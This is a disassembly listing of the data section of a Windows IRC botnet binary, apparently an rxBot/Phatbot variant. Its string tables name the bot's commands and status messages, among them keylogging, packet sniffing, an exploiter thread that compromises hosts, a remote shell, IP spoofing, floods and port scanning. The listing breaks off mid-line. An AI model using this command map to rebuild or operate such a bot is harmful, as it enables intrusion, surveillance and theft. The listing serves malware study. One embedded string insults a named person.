sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 4 aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 10h aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 4 aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 10h aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 10h aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 10h aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; .packed:00438318o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 4 aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo ; .packed:004382DCo unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 4 aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 10h aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 4 aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 10h aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42B3F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B410 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42B43C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B45C db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B47C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B49C db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 4 aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42B4E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B504 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 10h unk_42B530 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42B56C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42B5A8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 4 dword_42B5CC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 4 dword_42B5EC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42B618 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42B664 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42B684 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B6BC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 10h dword_42B6F0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B71C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B744 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B774 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B7B4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B7F0 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 10h unk_42B820 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B848 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B874 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B8B0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B8EC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B91C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; .packed:0043830Co ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 10h aO: ; DATA XREF: sub_401ACD+3E7Ao ; .packed:0043863Co unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; .packed:004382F4o ... unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; .packed:00438314o ... unicode 0, <n>,0 unk_42BA14 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 10h aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42BA74 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42BA8C dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42BAA4 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42BAEC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42BB14 dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42BB18 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42BB24 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42BB2C dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 10h aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42BB9C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42BBB0 dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42BBB4 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42BBC4 dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42BBC8 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42BBCC db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 10h aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 4 unk_42BC34 db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42BC74 db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42BCAC db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BCD8 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 4 unk_42BD18 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42BD54 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 10h unk_42BD80 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42BDAC dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42BE6C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BEA8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42BEDC db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BF1C db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BF48 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BF84 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o ; sub_4111CD+A8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BFAC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42BFBC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42BFC8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42BFD8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42BFE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42C01C dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 10h aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 10h aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42C06C db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42C098 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42C0B0 db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42C0EC dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42C10C dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42C110 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42C128 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42C160 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42C178 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42C194 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42C1B0 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42C1CC db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42C208 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42C22C db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42C24C dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42C26C dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42C2A4 db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42C2F8 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42C314 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42C32C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C358 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C37C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C3A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C3D4 db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C3F8 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C434 db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C470 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C4AC db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C4E8 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C524 db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C558 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42C578 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 10h unk_42C5B0 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C5EC db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42C66C db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C6AC db 